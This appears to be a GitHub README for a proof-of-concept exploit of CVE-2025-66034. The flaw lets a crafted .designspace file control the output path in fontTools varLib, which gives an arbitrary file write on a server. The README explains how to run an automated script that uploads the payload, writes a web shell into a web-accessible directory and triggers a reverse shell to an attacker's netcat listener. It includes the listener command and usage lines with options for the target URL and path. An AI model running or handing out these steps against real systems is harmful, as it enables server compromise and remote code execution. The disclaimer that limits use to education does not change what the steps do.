symphony2colour/varlib-cve-2025-66034
Proof-of-concept exploit for CVE-2025-66034 in the fontTools variable font generation pipeline. A crafted .designspace file allows control of the output path, enabling arbitrary file writes. The script automates payload creation, font generation, and upload to demonstrate the issue.
This repo doesn't introduce a new vulnerability.
This is a Proof-of-concept exploit for CVE-2025-66034 affecting the fontTools varLib variable font generation pipeline.
The vulnerability allows attackers to control the output filename inside a crafted .designspace file. When processed by a vulnerable font generation service, this can lead to arbitrary file write on the server filesystem.
The script varlib_cve_2025_66034.py automates payload creation, font generation, upload, and optional shell triggering.
nc listenerPython 3.9+
Install dependencies:
pip install fonttools requests
Netcat is required for the listener, therefore the next command is required if you use --no-listen option:
nc -lvnp <PORT_NUMBER>
If your target is a self-hosted lab running on mysite.com, and the upload path, filesystem write path, and web-accessible trigger path match the defaults in the script, you can run it directly.
Basic usage:
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT>
Highly likely the target uses different URLs or filesystem paths, override the defaults with the available options below, such as --url, --path, and --trigger or modify script manually
Note: the multipart upload form names may vary depending on the environment. If the target does not use the same form field names as the script, adjust them in the files section before running the exploit.
| Argument | Description |
|---|---|
--ip | Attacker listener IP |
--port | Listener port |
--path | Target filesystem path where the file will be written (must be web-accessible to trigger a web shell) |
--url | Upload endpoint, form may vary |
--trigger | Base URL used to trigger the written payload after upload |
--no-listen | Disable automatic netcat listener |
Example with custom options:
python varlib_cve_2025_66034.py --ip <ATTACKER_IP> --port <ATTACKER_PORT> --path /var/www/mysite.com/public --url http://mysite.com/tools/variable-font-generator/process --trigger http://mysite.com
.designspace fileSpecial thanks and respect to:
This proof-of-concept is provided for educational and research purposes to help understand the vulnerability and its impact.
This code is provided for educational and research purposes only.
Do not use this exploit against systems you do not own or have explicit permission to test.
The author is not responsible for misuse or damage caused by this software.